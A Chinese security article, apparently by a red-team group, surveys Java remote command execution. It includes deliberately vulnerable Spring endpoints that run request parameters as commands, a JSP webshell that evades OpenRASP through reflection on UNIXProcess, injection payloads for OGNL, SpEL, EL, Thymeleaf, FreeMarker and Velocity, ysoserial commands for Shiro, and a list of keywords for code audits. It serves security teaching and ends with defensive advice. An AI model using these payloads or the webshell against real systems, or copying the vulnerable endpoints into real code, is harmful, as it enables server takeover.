深信服西部天威战队:JAVA命令执行总结
字数 1373 2025-08-12 11:33:47
Java命令执行漏洞全面分析与防护指南
0x00 RCE漏洞概述
远程命令执行(RCE)漏洞是指攻击者通过Web端或客户端提交恶意构造的命令,由于服务器端未对执行函数做过滤或存在逻辑漏洞,导致能够在服务器上执行任意系统命令。Java应用中RCE漏洞的核心原理是开发人员未对代码中可执行的特殊函数或自定义方法入口做过滤。
0x01 Java应用中常见的命令执行点
1. Runtime.getRuntime().exec()
@RestController
@RequestMapping("/rce1")
public class Exec {
@RequestMapping("/test1")
public String test(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
String tmpStr;
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(new BufferedInputStream(process.getInputStream())));
while ((tmpStr = bufferedReader.readLine()) != null) {
stringBuilder.append(tmpStr).append("</br>");
}
bufferedReader.close();
return stringBuilder.toString();
}
}
2. ProcessBuilder方式
@GetMapping("/test2")
public String processBuilder(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
String tmpStr;
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process process = processBuilder.start();
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(new BufferedInputStream(process.getInputStream())));
while ((tmpStr = bufferedReader.readLine()) != null) {
stringBuilder.append(tmpStr).append("</br>");
}
return stringBuilder.toString();
}
3. 底层调用分析
Runtime.getRuntime().exec()底层调用ProcessBuilderProcessBuilder底层使用ProcessImpl.startProcessImpl和UNIXProcess是最终调用native执行系统命令的类,提供forkAndExec方法
4. OpenRASP绕过技术
OpenRASP只拦截到java.lang.UNIXProcess层,可通过以下方式绕过:
- 使用
sun.misc.Unsafe.allocateInstance创建UNIXProcess/ProcessImpl对象 - 反射
forkAndExec方法 - 构造参数并调用
- 反射
initStreams方法初始化流 - 反射
getInputStream获取执行结果
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.lang.reflect.*" %>
<%!
byte[] toCString(String s) {
if (s == null) return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = Class.forName("java.lang.UNIXProcess");
Object processObject = unsafe.allocateInstance(processClass);
// 构造参数并调用forkAndExec
Method forkMethod = processClass.getDeclaredMethod("forkAndExec",
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
int pid = (int) forkMethod.invoke(processObject, ...);
// 获取执行结果
Method getInputStreamMethod = processClass.getMethod("getInputStream");
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
// 读取并输出结果...
}
%>
5. 常见RCE关键字
System|exec|passthru|popen|shell_exec|eval|preg_replace|str_replace|
call_user_func|getRuntime().exec|system|execlp|execvp|ShellExecute|
wsystem|popen(|getRuntime|ProcessBuilder|execfile|input|Shell|
ShellExecuteForExplore(|ShellExecute|execute|.exec|/bin/sh、/bin/bash|
cmd|UNIXProcess|groovy.util.Eval.megroovy.lang.GroovyShell.parse|
evaluategroovy.lang.Script.rungroovy.lang.GroovyClassLoader.parseClass
org.codehaus.groovy.runtime.InvokerHelper.newScript|createScript|runScript
org.codehaus.groovy.runtime.MethodClosure.MethodClosure
0x02 Java表达式中的命令执行
1. OGNL表达式注入
OGNL三要素:
- 表达式(expression):核心操作指令
- 根对象(root):操作的目标对象
- 上下文对象(context):运行环境,Map结构
命令执行示例:
Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")",
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start());
白盒测试关注点:
import ognl.*OGNL.getVaule()
2. SpEL表达式注入
基础用法:
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
System.out.println(exp.getValue()); // 输出: Hello World!
命令执行PoC:
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdStr);
exp.getValue(); // 执行命令
SpringBoot SpEL注入漏洞:
- 影响版本:1.3.0等旧版本
- 利用方式:通过错误消息注入SpEL表达式
3. EL表达式注入
基本语法:${expression}
命令执行PoC:
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>
访问URL:
http://localhost/XXX.jsp?a=${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
0x03 Java模板中的命令执行
1. Thymeleaf模板注入
漏洞代码:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; // 模板路径可控
}
利用方式:
http://localhost:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
2. FreeMarker模板注入
三种利用方式:
- 使用Execute类:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
- 使用ObjectConstructor类:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>
${value("java.lang.ProcessBuilder","calc.exe").start()}
- 使用JythonRuntime:
<#assign value="freemarker.template.utility.JythonRuntime"?new()>
<@value>import os;os.system("calc.exe")</@value>
3. Velocity模板注入
漏洞代码:
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.evaluate(...); // 参数可控
0x04 Shiro命令执行绕过
1. 加密模式变更
- Shiro 1.4.2后从AES-CBC改为AES-GCM
2. Base64编码混淆
- 利用
.、%等符号混淆Base64解码
3. RememberMe长度限制绕过
- 生成较短payload修改max header:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1TomcatHeader yourSize
- 生成回显payload多线程发送:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1TomcatEcho2 yourCommand
防护建议
-
输入验证与过滤
- 对所有用户输入进行严格验证
- 使用白名单机制限制允许的字符和格式
-
安全编码实践
- 避免直接使用用户输入构造命令
- 使用安全的API替代危险函数
-
框架安全配置
- 及时更新框架版本
- 禁用危险的表达式功能
-
运行时防护
- 部署RASP解决方案
- 监控异常命令执行行为
-
安全测试
- 定期进行代码审计
- 实施渗透测试验证防护效果